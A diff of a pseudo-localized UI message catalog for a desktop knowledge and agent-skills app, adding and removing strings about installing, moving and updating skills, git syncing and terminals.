"Àĺŕēàďŷ ĥàvē à ĝĩţ ŕēƥōśĩţōŕŷ? Àďď ĩţ ŵĩţĥ <0>ĝĩţ ŕēḿōţē àďď ōŕĩĝĩń <url></0> ĩń ţĥĩś ƥŕōĴēćţ'ś ƒōĺďēŕ. Ţĥĩś ƥàĝē ũƥďàţēś àũţōḿàţĩćàĺĺŷ ōńćē à ŕēḿōţē ĩś ďēţēćţēď."
],
"45MZFs": ["Ćōḿḿàńďś"],
- "47EXvY": [
- "Ţĥĩś ŕēƥĺàćēś ţĥē ćũŕŕēńţ śķĩĺĺ ćōńţēńţ ŵĩţĥ ţĥē ƀũńďĺēď vēŕśĩōń ",
- ["0"],
- " (ŷōũ ĥàvē ",
- ["1"],
- "). Àńŷ ĺōćàĺ ēďĩţś ŵĩĺĺ ƀē ŕēƥĺàćēď — ŷōũŕ ćũŕŕēńţ vēŕśĩōń ĩś śàvēď ţō ĥĩśţōŕŷ ƒĩŕśţ, śō ŷōũ ćàń ŕēśţōŕē ĩţ."
- ],
"484LKL": ["Ŕēḿōvē ĺĩńķ"],
"494br3": ["Śĥàŕēď ŵĩţĥ ēvēŕŷōńē ōń ţĥĩś ƥŕōĴēćţ — ćōḿḿĩţţēď ţō ćōńƒĩĝ.ŷḿĺ vĩà ĝĩţ."],
"4A3Yzu": ["Ćōďē ƀĺōćķ"],
@@ -257,9 +274,6 @@
"4PYsOz": ["Ĥĩďē Ƒĩĺēś (", ["sidebarShortcutLabel"], ")"],
"4Sxexw": ["Śōũŕćē ũńďō ōŕ ŕēďō"],
"4TzU0n": ["Ĩńĩţĩàĺĩźē"],
- "4XL6N4": [
- "Ďēţēćţēď ƒŕōḿ ţĥē ēďĩţōŕś ţĥĩś ƥŕōĴēćţ ĩś śēţ ũƥ ƒōŕ. ÀďĴũśţ ţō ćōńţŕōĺ ŵĥēŕē ēvēŕŷ śķĩĺĺ ĩńśţàĺĺś."
- ],
"4_5_n5": [["failed"], " ōƒ ", ["0"], " ćōḿḿēńţś ćōũĺď ńōţ ƀē ŕēḿōvēď ƒŕōḿ ţĥē ǫũēũē."],
"4buZWd": ["Ĩńĥēŕĩţēď ƒŕōḿ ", ["path"]],
"4cEClj": ["Śēśśĩōńś"],
@@ -271,13 +285,16 @@
"4ieVh2": ["Ƥĩćķ “Ćũśţōḿ” àƀōvē ţō ũśē ţĥĩś ƥàĺēţţē."],
"4jDd0j": ["Àńŷōńē ćàń śēē"],
"4m-xuX": ["Àũţō-ƒĩx — ńōţĥĩńĝ ţō ƒĩx"],
+ "4mDIcg": ["Ƥĩćķ ţĥē śķĩĺĺś ţō ĩńśţàĺĺ. Ēàćĥ ōńē ĺàńďś àś àń ēďĩţàƀĺē śķĩĺĺ ŷōũ ōŵń."],
"4mLBx9": ["Śũƀśćŕĩƥţĩōńś àŕēń'ţ àvàĩĺàƀĺē ŕĩĝĥţ ńōŵ."],
"4niEzY": ["Śàńďƀōxēď ĤŢḾĹ ēḿƀēď — ŵŕĩţē ĤŢḾĹ, śēē ţĥē ŕēńďēŕēď ƥŕēvĩēŵ ĺĩvē."],
"4nj6n8": ["/àƥĩ/ćōńƒĩĝ ŕēţũŕńēď ĤŢŢƤ ", ["code"]],
+ "4pDZ2N": ["Ŕēḿōvēď \"", ["0"], "\" ƒŕōḿ ēvēŕŷ ōţĥēŕ ĺōćàţĩōń — ĩţś śōũŕćē ƒōĺďēŕ śţĩĺĺ ĺōàďś"],
"4rjwLG": ["Ćŕēàţē ŵĩţĥ ", ["0"], " ĆĹĨ"],
"4sKwf6": ["Ƒĩĺē àĺŕēàďŷ ēxĩśţś"],
"4uNLmk": ["Ƥũĺĺĩńĝ"],
"4v2Yyz": ["Śēĺēćţ ēvēŕŷ vĩśĩƀĺē ƒĩĺē-ţŕēē ŕōŵ ŵĥēń ƒōćũś ĩś ĩń ţĥē Ƒĩĺēś śĩďēƀàŕ."],
+ "4wo5UV": ["Ĩńśţàĺĺ śēĺēćţēď"],
"4xtLTl": ["Ĥĩďďēń ƒōĺďēŕ “", ["basename"], "”"],
"4zEZS5": [
"Àũţō-śŷńć ĩś ōń ƒōŕ ţĥĩś ŵōŕķţŕēē, ĩńĥēŕĩţēď ƒŕōḿ ",
@@ -296,6 +313,7 @@
"5ALjdr": ["Ḿōvē ţĥŕōũĝĥ vĩśũàĺ-ēďĩţōŕ ƒĩńď ŕēśũĺţś ƒŕōḿ ţĥē ƒĩńď ƒĩēĺď."],
"5Ajb15": ["Ţĥē ƒōŕḿũĺà <0>ć = √(ಠ+ ƀ²)</0> ŕēńďēŕś ĩńĺĩńē."],
"5AzM72": ["Ţĥĩś śēţţĩńĝ ĩś ƥēŕ-ḿàćĥĩńē àńď ĩśń'ţ śĥàŕēď ŵĩţĥ ćōĺĺàƀōŕàţōŕś."],
+ "5BlXTD": ["Ćōũĺďń'ţ ĺōàď ţĥē vēŕśĩōń ƥŕēvĩēŵ. Ŷōũ ćàń śţĩĺĺ ćĥōōśē ĥōŵ ţō ŕēśōĺvē ĩţ ƀēĺōŵ."],
"5ClEAu": ["Ĩńĺĩńē ĥàśĥţàĝ ƒōŕ ćŕōśś-ďōć ĝŕōũƥĩńĝ."],
"5D3Ior": ["Ĥĩďē ƒōĺďēŕ"],
"5F5HYj": [["ahead"], " àĥēàď, ", ["behind"], " ƀēĥĩńď"],
@@ -366,13 +384,18 @@
"62Pc08": ["Ĩńśţàĺĺ ƒōŕ Ćĺàũďē Ćĥàţ & Ćōŵōŕķ (Ďēśķţōƥ Àƥƥ)"],
"62bOuM": ["Ĺàţēśţ ēďĩţ"],
"636K3K": ["Ďēĺēţē àďĴàćēńţ ćĥĩƥ"],
+ "67TEhP": [
+ "Ŷōũŕ ũśēŕ-ĺēvēĺ śķĩĺĺ ƒōĺďēŕś — àvàĩĺàƀĺē ĩń ēvēŕŷ ƥŕōĴēćţ ōń ţĥĩś ḿàćĥĩńē. Ēàćĥ śķĩĺĺ'ś ĩńśţàĺĺ ḿēńũ ćōńţŕōĺś ŵĥēŕē ĩţ ĺĩvēś."
+ ],
"67f-3g": ["Ďũƥĺĩćàţē śũććēēďēď ƀũţ ţĥē śĩďēƀàŕ ḿàŷ ƀē ōũţ ōƒ ďàţē — ŕēƒŕēśĥ ţō ŕēśŷńć"],
"69KLIV": ["Ēśćàƥē"],
"6Aih4U": ["Ōƒƒĺĩńē"],
- "6EKG_c": ["Ŵĥàţ àĝēńţś ḿàţćĥ ōń ţō ďēćĩďē ŵĥēń ţō ũśē ţĥē śķĩĺĺ."],
"6HCOwA": ["Ƒàĩĺēď ţō ōƥēń."],
"6KCH4m": ["Ĥĩďďēń ƒĩĺēś"],
"6LbUG7": ["Ţĥē ŕēƥōśĩţōŕŷ ĩś ƥŕĩvàţē àńď ŷōũŕ ĜĩţĤũƀ àććōũńţ ďōēśń'ţ ĥàvē àććēśś ţō ĩţ."],
+ "6Mbe-P": [
+ "Ďēśćŕĩƀē ŵĥàţ ĩţ śĥōũĺď ďō, ōŕ àďď ōńē ŷōũŕśēĺƒ. ŌƥēńĶńōŵĺēďĝē ķēēƥś ŷōũŕ śķĩĺĺś ĩń ōńē ƥĺàćē, vēŕśĩōńś ţĥēḿ, àńď ĩńśţàĺĺś ţĥēḿ ĩńţō àĝēńţś ĺĩķē Ćĺàũďē, Ćōďēx, àńď Ćũŕśōŕ."
+ ],
"6MnZEC": ["Ţēŕḿĩńàĺ ƒàĩĺēď ţō ĺōàď"],
"6O626z": ["Ńō ĥēàďĩńĝś ḿàţćĥ \"", ["trimmedAnchorQuery"], "\""],
"6Pxqwv": [
@@ -392,8 +415,9 @@
"6cyguR": ["Ćōńńēćţ ĜĩţĤũƀ ţō ćōńţĩńũē."],
"6eniID": ["Ḿàƥ ţĥē àŕćĥĩţēćţũŕē"],
"6fGjTz": ["Śĥōŵ ƒēŵēŕ"],
- "6g2jsp": ["Ũƥďàţē śķĩĺĺ"],
+ "6f_UX4": ["Ĩńśţàĺĺ ōń àĺĺ àĝēńţś"],
"6gRgw8": ["Ŕēţŕŷ"],
+ "6h4-4a": ["Śŵĩţćĥ ƀēţŵēēń Ƒĩĺēś àńď Śķĩĺĺś"],
"6h4zVU": ["Ŵĥàţ ŵōũĺď ŷōũ ĺĩķē ţō ćŕēàţē?"],
"6hYjww": ["Ćŕēàţē à ţōķēń ōń ", ["host"]],
"6hfDJr": ["Śēŕvēŕ ēŕŕōŕ: ", ["status"]],
@@ -438,19 +462,33 @@
"7YRrJ9": [
"Àvàĩĺàƀĺē ĩń ţĥē ŌƥēńĶńōŵĺēďĝē ďēśķţōƥ àƥƥ. Ƒŕōḿ à ţēŕḿĩńàĺ, ũśē<0> ōķ ćōńƒĩĝ-śĥàŕĩńĝ śţàţũś</0> / <1>śĥàŕē</1> / <2>ũńśĥàŕē</2>."
],
+ "7ZkJdV": ["Ńō àĝēńţś śēĺēćţēď — ţĥē śķĩĺĺś àŕē śàvēď ƀũţ ńōţ ĩńśţàĺĺēď àńŷŵĥēŕē."],
"7_bFEL": ["Ďŕàĝ ", ["patternText"], " ţō ŕēōŕďēŕ"],
"7apDiJ": [
"À ƒōĺďēŕ ńàḿēď <0>",
["sanitized"],
"</0> àĺŕēàďŷ ĥàś ƒĩĺēś ĥēŕē. Ƥĩćķ à ďĩƒƒēŕēńţ ńàḿē."
],
+ "7bIiJ7": [
+ "Ţĥĩś ḿōvēś <0>",
+ ["name"],
+ "</0> ƒŕōḿ ",
+ ["0"],
+ " ţō ",
+ ["1"],
+ ", ŕēĺōćàţĩńĝ ĩţś ƒĩĺēś ōń ďĩśķ àńď ŕē-ĩńśţàĺĺĩńĝ ĩţ ĩń ŷōũŕ ēďĩţōŕś àţ ţĥē ",
+ ["2"],
+ " ĺēvēĺ."
+ ],
"7cAW1G": ["Ńō ÀƤĨ ķēŷ ĩś śēţ ƒōŕ ţĥĩś ēńďƥōĩńţ. Àďď ōńē àƀōvē."],
"7d1a0d": ["Ƥũƀĺĩć"],
+ "7dZnmw": ["Ŕēĺēvàńćē"],
"7hctf2": ["Ďēśćŕĩƀē ţĥē ƥŕōĴēćţ ŷōũ ŵàńţ ţō ćŕēàţē"],
"7iTyyh": [["queueCount", "plural", { "one": ["#", " ćōḿḿēńţ"], "other": ["#", " ćōḿḿēńţś"] }]],
"7jIIFX": ["Ŷōũ'ŕē àĺĺ śēţ ũƥ!"],
"7kb4LU": ["Àƥƥŕōvēď"],
"7l15X4": ["ƒàĩĺēď"],
+ "7m3Ade": ["ĩńśţàĺĺś:"],
"7qRHf0": ["Ĩńśţàĺĺ ƒōŕ Ćĺàũďē Ćĥàţ & Ćōŵōŕķ"],
"7uBlRT": ["Ćōƥŷ ţĥē ƒōćũśēď ƒĩĺē-ţŕēē ĩţēḿ śō Ƥàśţē ćàń ďũƥĺĩćàţē ĩţ."],
"7vQdBK": ["Ĺōàďĩńĝ ţĥē ćōńvēŕśàţĩōń"],
@@ -465,6 +503,7 @@
") ĩń ţĥē ƥŕōĴēćţ ŕōōţ"
],
"89y7ar": [["sizeText"], " · śēćŕēţś ŕēďàćţēď"],
+ "8AjnFz": ["\"", ["0"], "\" ŵàś àĺŕēàďŷ ĩḿƥōŕţēď (ĩďēńţĩćàĺ ćōńţēńţ)."],
"8F1i42": ["Ƥàĝē ńōţ ƒōũńď"],
"8FqTCr": [
[
@@ -474,6 +513,11 @@
]
],
"8Gzz2G": ["ŵōŕķţŕēē ōƒ ", ["worktreeOf"]],
+ "8HvJlU": [
+ "À ĎĨƑƑĒŔĒŃŢ śķĩĺĺ ńàḿēď ĺĩķē ţĥĩś ōńē ĺĩvēś àţ ",
+ ["0"],
+ " — ţĥàţ ƒōĺďēŕ ĩś ńōţ ţĥĩś śķĩĺĺ. Ŕēńàḿē ōŕ ďēĺēţē ōńē ōƒ ţĥē ţŵō ţō ŕēśōĺvē."
+ ],
"8IP5jY": ["Ēàćĥ śēĺēćţēď ţōōĺ ĝēţś àń ŌƥēńĶńōŵĺēďĝē ḾĆƤ ēńţŕŷ."],
"8Jm2EP": ["Ţōĝĝĺē ĥēàďĩńĝ ĺēvēĺś 1 ţĥŕōũĝĥ 6."],
"8L0EPw": ["ōŕ ƥàśţē à ţōķēń"],
@@ -483,6 +527,7 @@
"8PmoQF": ["Ōƥēń ţĥē ĩńśēŕţ ḿēńũ ĩń àń ēḿƥţŷ ōŕ àćţĩvē ţēxţ ƥōśĩţĩōń."],
"8RtNI0": ["Ƒàĩĺēď ţō ĺōàď ďōćũḿēńţś"],
"8TvlHF": ["Ćŕàśĥ ďũḿƥ"],
+ "8Uv5e6": ["Àĝēńţś"],
"8Vq20-": ["Śŵĩţćĥ ŵōŕķţŕēē"],
"8Wav8y": [
"Ĩƒ àń ũƥďàţē àŕŕĩvēś ƒōŕ śōḿēţĥĩńĝ ŷōũ àŕē ēďĩţĩńĝ, ŷōũ ćĥōōśē ŵĥĩćĥ vēŕśĩōń ţō ķēēƥ, ĺĩķē à ḿēŕĝē ćōńƒĺĩćţ."
@@ -494,6 +539,7 @@
"8cpOa8": ["Ćōũĺďń'ţ ďĩśćōńńēćţ — ƥĺēàśē ţŕŷ àĝàĩń."],
"8cpeU3": ["Śĥàŕēď ŕēƥōśĩţōŕĩēś"],
"8eW0WQ": ["Ńō ḿàţćĥĩńĝ ŕēƥōśĩţōŕĩēś."],
+ "8fDf7j": ["ĥōōķś"],
"8fRyLo": ["Ĩńvàĺĩď ƥàţćĥ ƥàŷĺōàď"],
"8fc_3j": ["Ƥŕōţēćţēď ƀŕàńćĥ — ćàńńōţ ƥũśĥ"],
"8jeVmd": ["Ţĥē ţēŕḿĩńàĺ ĩśń'ţ àvàĩĺàƀĺē ĥēŕē — ţĥē ćōḿḿēńţś śţàŷ ǫũēũēď."],
@@ -501,9 +547,11 @@
"8lwQlE": [["0"], " àďďēď, ", ["1"], " ŕēḿōvēď"],
"8m8diM": ["Ńō ĺōćàţĩōń śēĺēćţēď. Ũśē ßŕōŵśē ţō ćĥōōśē à ƒōĺďēŕ."],
"8nWu1k": ["Ēḿƥţŷ ďĩàĝŕàḿ"],
+ "8qgfac": ["ḾĆƤ śēŕvēŕś"],
"8ruqQi": ["ßŕōķēń ĩńţēŕńàĺ ĺĩńķś"],
"8sMErm": ["Ēńàƀĺē Ƒōĺĺōŵ?"],
"8t9CRE": ["Śţàŕţĩńĝ ", ["agentName"], "…"],
+ "8t9T3-": ["Ńō śķĩĺĺś ƒōũńď."],
"8tjQCz": ["Ēxƥĺōŕē"],
"8uAWix": [
"Ţĥĩś ţēḿƥĺàţē ĺĩvēś ĩń à ƥàŕēńţ ƒōĺďēŕ — ďēĺēţĩńĝ ĩţ àƒƒēćţś ēvēŕŷ ƒōĺďēŕ ƀēńēàţĥ ĩţ ţĥàţ ďōēśń'ţ ďēƒĩńē ĩţś ōŵń vēŕśĩōń."
@@ -514,6 +562,7 @@
"8ycqHY": ["Àďď ţĥē ǫũēũēď ćōḿḿēńţś ţō ţĥĩś ḿēśśàĝē"],
"92rbk2": ["Ḿĩŕŕōŕ ĺōàďĩńĝ <0>", ["mirrorRef"], "</0>"],
"96G6Re": ["Ńēŵ ƒōĺďēŕ"],
+ "96pApd": ["Ŕēàď-ōńĺŷ ƒĩĺē ĩń ţĥē ", ["name"], " śķĩĺĺ"],
"96w9hU": ["Śōḿēţĥĩńĝ ŵēńţ ŵŕōńĝ ōƥēńĩńĝ ţĥĩś ƒĩĺē (ĤŢŢƤ ", ["status"], ")."],
"98FP1E": [
"Ţĥĩś śćĥēḿà ćàŕŕĩēś ŕōōţ-ĺēvēĺ àďvàńćēď ŕũĺēś ţĥē ēďĩţōŕ ďōēś ńōţ śĥōŵ (",
@@ -522,6 +571,8 @@
],
"99eR72": ["Vĩśũàĺ ēďĩţōŕ ţàƀĺē śēĺēćţĩōń"],
"9Bd18D": ["Ƒàĩĺēď ţō ĺōàď ĥũƀ ƥàĝēś"],
+ "9HKBNN": ["ćōḿḿàńďś"],
+ "9J8xNg": ["Ĩḿƥōŕţēď ", ["importedLabel"]],
"9KooKn": ["Ŕũń à ƥŕōĴēćţ àũďĩţ ƒŕōḿ ţĥē Ƥŕōƀĺēḿś ƥàńēĺ."],
"9NJWgv": ["ßàćķĺĩńķś"],
"9OIqw4": ["Ŷōũ ďōń'ţ ĥàvē ŵŕĩţē àććēśś ţō ţĥĩś ŕēƥō."],
@@ -534,6 +585,12 @@
"9Vh9Jf": ["Ŕēōƥēń ţĥĩś ŵĩńďōŵ ţō śĩĝń ĩń ŵĩţĥ ŷōũŕ ƀŕōŵśēŕ"],
"9Vnjc9": ["Ēńţēŕ"],
"9XIEYq": ["Àţţàćĥ ţĥē ƒĩĺē ĩń àń ēḿàĩĺ ţō <0/>"],
+ "9_2oe6": [
+ "Ţũŕń ",
+ ["0"],
+ " ƀàćķ ĩńţō à ŕēàĺ ďĩŕēćţōŕŷ ĥōĺďĩńĝ à ƥēŕ-śķĩĺĺ śŷḿĺĩńķ ƒōŕ ēàćĥ śķĩĺĺ ĩţ ćũŕŕēńţĺŷ śēēś — ńōţĥĩńĝ śţōƥś ŵōŕķĩńĝ, àńď ēàćĥ śķĩĺĺ'ś ḿēńũ ḿàńàĝēś ĩţ ƒŕōḿ ţĥēŕē."
+ ],
+ "9_euHO": ["Vĩēŵ ", ["name"]],
"9aVlF2": ["Ćĥàńĝē ƥŕōvĩďēŕ"],
"9bCiQ8": ["Ńō ƥàĝēś àŕē ḿĩśśĩńĝ ĩńćōḿĩńĝ ĝŕàƥĥ ĺĩńķś."],
"9bG48P": ["Śēńďĩńĝ"],
@@ -553,15 +610,21 @@
"9fhQRL": ["ßēţà ćĥàńńēĺ"],
"9fvog2": ["Ƥŕēvĩēŵ ũńàvàĩĺàƀĺē: ", ["errorDetail"]],
"9i21pa": ["Ćōḿḿĩţś ĥàƥƥēń àũţōḿàţĩćàĺĺŷ"],
+ "9ieZhu": ["Ĩńśţàĺĺēď àţ ", ["path"], " — ćĺĩćķ ţō ŕēḿōvē"],
"9jnjV0": ["Ēḿƀēď àń àũďĩō ƒĩĺē ŵĩţĥ ńàţĩvē ƥĺàŷēŕ ćōńţŕōĺś."],
+ "9lso1Y": ["Ćŕēàţēś ţĥē <0>", ["folderPart"], "/</0> ƒōĺďēŕ"],
+ "9m4D_h": ["ĜĩţĤũƀ, à ĝĩţ ŨŔĹ, ōŕ à ĺōćàĺ ƥàţĥ."],
"9mEZeD": [["name"], " ĆĹĨ"],
"9nIrRp": ["Ńēśţēď ƒĩēĺďś"],
"9npOH9": ["Ōƥēń ƒĩĺē"],
"9o1bIV": [["behind"], " ƀēĥĩńď"],
"9oE4C3": ["ßŕōŵśē ŷōũŕ ŕēƥōś:"],
+ "9p_QBN": ["Àũţō-ũƥďàţē ĩś ōƒƒ — ũśē Ũƥďàţē ţō ƥũĺĺ ńēŵ vēŕśĩōńś"],
"9sBe85": ["Ƒōĺĺōŵ ũś ōń"],
"9tJX8r": ["ßŷ ḿēàńĩńĝ"],
"9uI_rE": ["Ũńďō"],
+ "9uRLEH": ["Ćōũĺďń'ţ ōƥēń \"", ["name"], "\" — ĩţ ĩśń'ţ ĩń ţĥē ƥŕōĴēćţ'ś śķĩĺĺś ŷēţ."],
+ "9wQrUU": ["Ŕēƒàćţōŕĩńĝ"],
"9xCnv8": ["Ĥĩďē Ţēŕḿĩńàĺ"],
"9zb2WA": ["Ćōńńēćţĩńĝ"],
"A1taO8": ["Śēàŕćĥ"],
@@ -574,6 +637,7 @@
"Ńō ćōĺĺàƀ śēŕvēŕ ƒōŕ ţĥĩś ŵōŕķţŕēē — ŕũń <0>ōķ śţàŕţ</0> ĥēŕē, ōŕ ŕēōƥēń ţĥē ƥŕōĴēćţ."
],
"AB4qw9": ["Ńēŵ ţēŕḿĩńàĺ"],
+ "ACKMCN": ["Ƒàĩĺēď ţō ĺōàď śķĩĺĺ śēţţĩńĝś: ", ["0"]],
"AE7BY3": ["Ţĥē ţēŕḿĩńàĺ śēśśĩōń ēńďēď."],
"AIVHDc": ["Ćĥōōśē ŵĥàţ à ńēŵ śēśśĩōń śţàŕţś"],
"AIn2Yv": [["displayName"], " ĆĹĨ, ", ["hint"]],
@@ -586,10 +650,12 @@
"Ćōḿḿàńďś ŕũń ŵĩţĥ ţĥē ƒũĺĺ àććēśś ōƒ ŷōũŕ ḿàćŌŚ ũśēŕ àććōũńţ ōń ţĥĩś ḿàćĥĩńē. Ţũŕń ţĥĩś ōƒƒ ţō ďĩśàƀĺē ţĥē śĥēĺĺ."
],
"ASqqsQ": ["Ḿàxĩḿũḿ ", ["MAX_ATTACHMENTS"], " àţţàćĥḿēńţś"],
+ "AT0e50": ["Ķēēƥ ƀōţĥ"],
"ATGYL1": ["Ēḿàĩĺ àďďŕēśś"],
"AVW-K9": ["Ƒàĩĺēď ţō ĺōàď ōŕƥĥàń ƥàĝēś"],
"AWOSPo": ["Źōōḿ ĩń"],
"AYfna1": ["Ŕēḿōvē ƒŕōḿ ǫũēũē"],
+ "AYoYhU": ["Ũƥďàţē ƒàĩĺēď: ", ["0"]],
"AaaESH": [
"Àũţō-śŷńć ĩś ōƒƒ ƒōŕ ţĥĩś ŵōŕķţŕēē, ĩńĥēŕĩţēď ƒŕōḿ ",
["project"],
@@ -606,6 +672,7 @@
"Ţĥĩś ƥŕōĴēćţ ĺĩvēś ōńĺŷ ōń ţĥĩś ćōḿƥũţēŕ. Ćōńńēćţ ĩţ ţō ĜĩţĤũƀ ţō ƀàćķ ĩţ ũƥ àńď śĥàŕē ĩţ ŵĩţĥ ōţĥēŕ ƥēōƥĺē."
],
"Aif3E7": ["Ēńàƀĺē śēḿàńţĩć śēàŕćĥ"],
+ "AkA6DO": ["Ƥàŕţ ōƒ ţĥē ", ["0"], " ƥĺũĝĩń — ŕēàď-ōńĺŷ; ōƥēń ĩţ ţō ēďĩţ à ćōƥŷ"],
"Am78jY": ["Ďŕàĝ ", ["keyName"], " ţō ŕēōŕďēŕ"],
"ApeA0n": ["Ũńďĩď ", ["dropCount"], " ēďĩţś ōń ", ["docName"]],
"Aq-O0x": ["śţàţũś"],
@@ -627,6 +694,7 @@
]
],
"B6Lac2": ["+", ["overflowCount"], " ḿōŕē"],
+ "B6NpZ7": ["Ŕēńàḿēď ţō \"", ["next"], "\""],
"BAH4qX": ["Śēĺēćţēď ĝŕàƥĥ ĩţēḿ"],
"BBqGS9": ["Ďēśķţōƥ"],
"BD0XSC": ["Ƒàĩĺēď ţō ĺōàď ƥŕōĴēćţ ţēḿƥĺàţēś"],
@@ -640,7 +708,9 @@
]
],
"BGHHtQ": ["Śĩńĝĺē ƥàĝē"],
+ "BGtzlf": [["uploadFolderName"], " — 1 ƒĩĺē"],
"BH56dn": ["Ćũśţōḿ ďĩśƥĺàŷ ţēxţ"],
+ "BKI4hX": ["Ƒĩńď ĩń ƒĩĺē"],
"BQKHuL": ["Ŕēśţàŕţ ţēŕḿĩńàĺ"],
"BQu9Pg": ["Śŷḿĺĩńķ"],
"BUyQnq": ["Ćōũĺďń'ţ ŕēśţàŕţ ţĥē śēŕvēŕ. Ţŕŷ `ōķ śţàŕţ` ĩń ţĥĩś ƒōĺďēŕ."],
@@ -652,10 +722,12 @@
"Bh9671": [
"Ţĥĩś ƥŕōĴēćţ ĩś ĺōćàĺ-ōńĺŷ, śō .ōķ/śķĩĺĺś ĩś ĥĩďďēń ƒŕōḿ ĝĩţ àńď ţĥēśē śķĩĺĺś ćàń'ţ ƀē ćōḿḿĩţţēď ōŕ śĥàŕēď. Śĥàŕē Ĵũśţ ţĥē śķĩĺĺś ƒōĺďēŕ — ţĥē ŕēśţ ōƒ ŷōũŕ ŌĶ ćōńƒĩĝ śţàŷś ōń ţĥĩś ćōḿƥũţēŕ."
],
+ "BhLPRk": ["Ŕēvēŕţēď \"", ["name"], "\" ţō ţĥē ĩńśţàĺĺēď vēŕśĩōń"],
"BjitBo": ["Ďōŵńĺōàď ", ["0"]],
"BkGtRl": [
"Ũńďō, ŕēďō, ōŕ śţēƥ ţĥŕōũĝĥ śēĺēćţĩōń ćĥàńĝēś ĩń ţĥē Ēďĩţ śōũŕćē ƥàńē ōŕ à ćōďē-śĥàƥēď ƥŕōƥēŕţŷ ƒĩēĺď."
],
+ "BlLxpG": ["Śēàŕćĥ śķĩĺĺś"],
"Bn9-El": ["ďēƒàũĺţ"],
"Bv5a9_": ["Śēĺēćţĩōń śţàţĩśţĩćś"],
"Bx4EXG": ["Àćţĩōńś ƒōŕ ", ["label"]],
@@ -668,9 +740,11 @@
],
"C-twqs": ["Ŕēćōvēŕēď ćōńţēńţ"],
"C-xgad": ["ōŕ ũśē à śţàŕţēŕ ƥàćķ"],
+ "C0Ciaj": ["Ĩḿƥōŕţēď àś \"", ["0"], "\" — ţĥē ńàḿē \"", ["1"], "\" ŵàś ţàķēń."],
+ "C0cll5": ["Ĩńśţàĺĺēď àţ ", ["0"], " — ćĺĩćķ ţō ŕēḿōvē"],
"C0hoX6": ["Àĺŵàŷś ĩńćĺũďēď"],
+ "C3Zc44": ["Ēxƥĺōŕē śķĩĺĺś"],
"C62P6b": ["Ēďĩţōŕ śēĺēćţĩōń"],
- "C7XjNB": ["Ĝĺōƀàĺ Śķĩĺĺ"],
"C9TBvF": ["Ńō Ōũţĝōĩńĝ"],
"CB7c0Z": ["Śàvē ǫũēũēď ḿēśśàĝē"],
"CBsdhe": ["Ţĥē àĝēńţ ĩśń'ţ śţōƥƥĩńĝ. Ƒōŕćē śţōƥ ćĺōśēś ţĥĩś ţĥŕēàď àńď ǫũĩţś ţĥē àĝēńţ."],
@@ -700,12 +774,12 @@
],
"C_cPoW": ["Ŷōũŕ ĜĩţĤũƀ śēśśĩōń ēxƥĩŕēď — śĩĝń ĩń àĝàĩń ţō vēŕĩƒŷ ƥũśĥ àććēśś."],
"ChAtFg": ["Ŷōũ ďōń'ţ ĥàvē ƥēŕḿĩśśĩōń ţō ƥũśĥ ţō ţĥĩś ŕēƥō"],
- "CifUuG": ["Ũƥďàţē àvàĩĺàƀĺē"],
"Ck9XRt": ["Ćōũĺďń'ţ śàvē ţĥē ķēŷ — ƥĺēàśē ţŕŷ àĝàĩń."],
"CmeH9S": ["Àďď ƥŕōƥēŕţŷ ţō ", ["keyName"]],
"CnOGgs": ["Śŷńć ḿōďē"],
"CoHvYd": ["Ḿōvēď ", ["0"], " ţō ƥōśĩţĩōń ", ["1"], " ōƒ ", ["2"]],
"CooKEf": ["Ďōćķ śēśśĩōńś àţ ţĥē ƀōţţōḿ"],
+ "Cu6GXQ": ["Ţĥē śōũŕćē ƒōĺďēŕ ĩţśēĺƒ ďōēś ńōţ ḿōvē."],
"CvsD6Y": ["vĩà ", ["viaTags"]],
"CwOXMT": ["Vàĺũē ƒōŕ ", ["keyName"]],
"CxVk-w": ["Ćōḿḿēńţ ōń ", ["address"]],
@@ -744,6 +818,7 @@
],
"DUWgfT": ["Ŕē-àũţĥēńţĩćàţē ŵĩţĥ ĜĩţĤũƀ Ēńţēŕƥŕĩśē Śēŕvēŕ"],
"DVh_Tb": ["Ƒàĩĺēď ţō ćĺēàń ũƥ àƒţēŕ ţŕàśĥ"],
+ "DWJtEo": ["Ŵĥàţ ĥàƥƥēńś ńēxţ"],
"DXd9LM": ["Ńēŵ ŵōŕķţŕēē"],
"D_WKe_": ["Ćĺĩćķ àń àĝēńţ'ś àvàţàŕ ĩń ţĥē ƥŕēśēńćē ƀàŕ ţō vĩēŵ ţĥēĩŕ śēśśĩōń."],
"DbCfXV": ["Śēàŕćĥ (", ["searchShortcutLabel"], ")"],
@@ -751,15 +826,6 @@
"DcLaew": ["Ćũśţōḿ ţĥēḿē"],
"DeDYLr": ["Ũńŕēćōĝńĩźēď ŵĩķĩ ĺĩńķ"],
"DgcGrb": [["fileCount", "plural", { "one": ["ƒĩĺē"], "other": ["ƒĩĺēś"] }]],
- "DhK_hZ": [
- "Ḿōvēď \"",
- ["name"],
- "\" ţō ",
- ["0"],
- " (",
- ["skipped"],
- " ƀĩńàŕŷ ƒĩĺē(ś) ńōţ ćōƥĩēď)"
- ],
"DhLHEb": ["Ƒàĩĺēď ţō ĺōàď àćţĩvĩţŷ"],
"DiFKSL": ["Ćōũńţĩńĝ ḿàŕķďōŵń ƒĩĺēś"],
"Dnn2XG": ["Àũţōḿàţĩć"],
@@ -770,6 +836,8 @@
"Dub54T": [
"Ƥŕēvĩēŵ ƀŕōŵśēŕś ćàń'ţ àũţō-ćōƥŷ. Ũśē Ćḿď/Ćţŕĺ+Ć ōń ţĥē ŨŔĹ àƀōvē, ōŕ ōƥēń ŌĶ ĩń ţĥē ďēśķţōƥ àƥƥ."
],
+ "Dut9Ht": ["Ďēśćŕĩƀē ţĥē śķĩĺĺ ŷōũ ŵàńţ ţō ćŕēàţē"],
+ "Dvr1Sg": ["Ćōƥŷĩńĝ"],
"Dvwa0U": ["Ćŕēàţē à ŵōŕķţŕēē ƒŕōḿ ţĥĩś ƀŕàńćĥ"],
"Dw1T_W": ["Ŕēńàḿē ", ["label"]],
"Dz7fsq": ["Źōōḿ Ĩń"],
@@ -790,6 +858,7 @@
"E9bKSA": ["Ćŕēàţĩńĝ"],
"E9gh86": ["Ŷōũ ćàń àţţàćĥ ũƥ ţō ", ["MAX_ATTACHMENTS"], " ĩḿàĝēś."],
"EARn6h": ["Ćōũĺďń'ţ śĥàŕē śķĩĺĺś — ", ["detail"], "."],
+ "EBS8_X": ["ßŕōŵśē śķĩĺĺś.śĥ"],
"EBVbtP": ["Ćōũĺď ńōţ ďũƥĺĩćàţē ĩţēḿ"],
"EDl9kS": ["Śũƀśćŕĩƀē"],
"EDm3wJ": ["Ĺōàďĩńĝ ďĩƒƒ ŕēńďēŕēŕ"],
